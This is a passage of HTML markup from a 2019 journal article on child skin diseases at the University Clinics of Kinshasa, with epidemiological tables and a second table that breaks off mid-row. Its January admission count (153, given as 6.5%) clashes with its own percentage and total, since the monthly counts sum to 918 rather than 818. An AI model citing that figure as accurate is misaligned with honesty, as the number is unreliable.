(1995) A clinicoaetiological study of dermatoses in pediatricage group. Indian J Dermatol 40: 29-31.</a></span></span></li>\r\n</ol>\r\n','','<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Seudjip NLJ, Traore A, Mazebo PS, Bunga MP. Profile of the Etiological Groups of Child Dermatosis at the University Clinics of &nbsp;Kinshasa - Democratic Republic of the Congo. Curr Updates Dermatol Probl. 2019; Volume 2019, Issue 01, p 1-11.</span></span></p>\r\n','<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Variables</span></strong></p>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=818</span></strong></p>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Percentage</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:372.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Sex</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Male</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">362</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">44,3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Female</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">456</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">55,7</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:372.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Age</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0-2 years</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">250</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">30,6</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3-5 years</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">188</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">23,0</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6-12 years</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">215</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">26,3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13-18 years</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">165</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">20,2</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:372.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Season</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Dry</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">442</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">54,0</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Rainy</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">376</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">46,0</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:372.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Month of admission</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">January</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">153</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6,5</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">February</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">101</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">12,3</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">March</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">88</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">10,8</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">April</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">70</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8,6</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">May</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">55</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6,7</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">June</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">55</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6,7</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">July</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">97</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">11,9</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">August</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">77</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9,4</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">September</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">68</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8,3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">October</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">31</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,8</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">November</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">51</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6,2</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">December</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">72</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8,8</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:372.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Year of admission</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2009</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">189</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">23,1</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2010</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">304</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">37,2</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:97.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2011</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:170.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">325</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:104.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">39,7</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table I:</strong> Epidemiological data.</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:156.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Type of&nbsp; dermatose</span></strong></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">All</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=818</span></strong></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Male</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=362</span></strong></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Female</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=456</span></strong></p>\r\n			</td>\r\n			<td style=\"width:74.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:156.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Infectious dermatosis</span></p>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">327 (40.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">161 (44.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">166 (36.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:74.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.023</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:156.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Immuno-allergic dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">273 (33.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">107 (29.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">166 (36.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:74.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.048</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:156.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Adnexal dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">81 (9.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">42 (11.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">39 (8.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:74.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.191</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:156.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Inflammatory dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">49 (6.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">20 (5.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">29 (6.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:74.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.697</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:156.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tumoral dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">35 (4.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9 (2.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">26 (5.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:74.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.038</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:156.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Genodermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">23 (2.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7 (1.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16 (3.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:74.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.244</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:156.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Toxidermia</span></p>\r\n			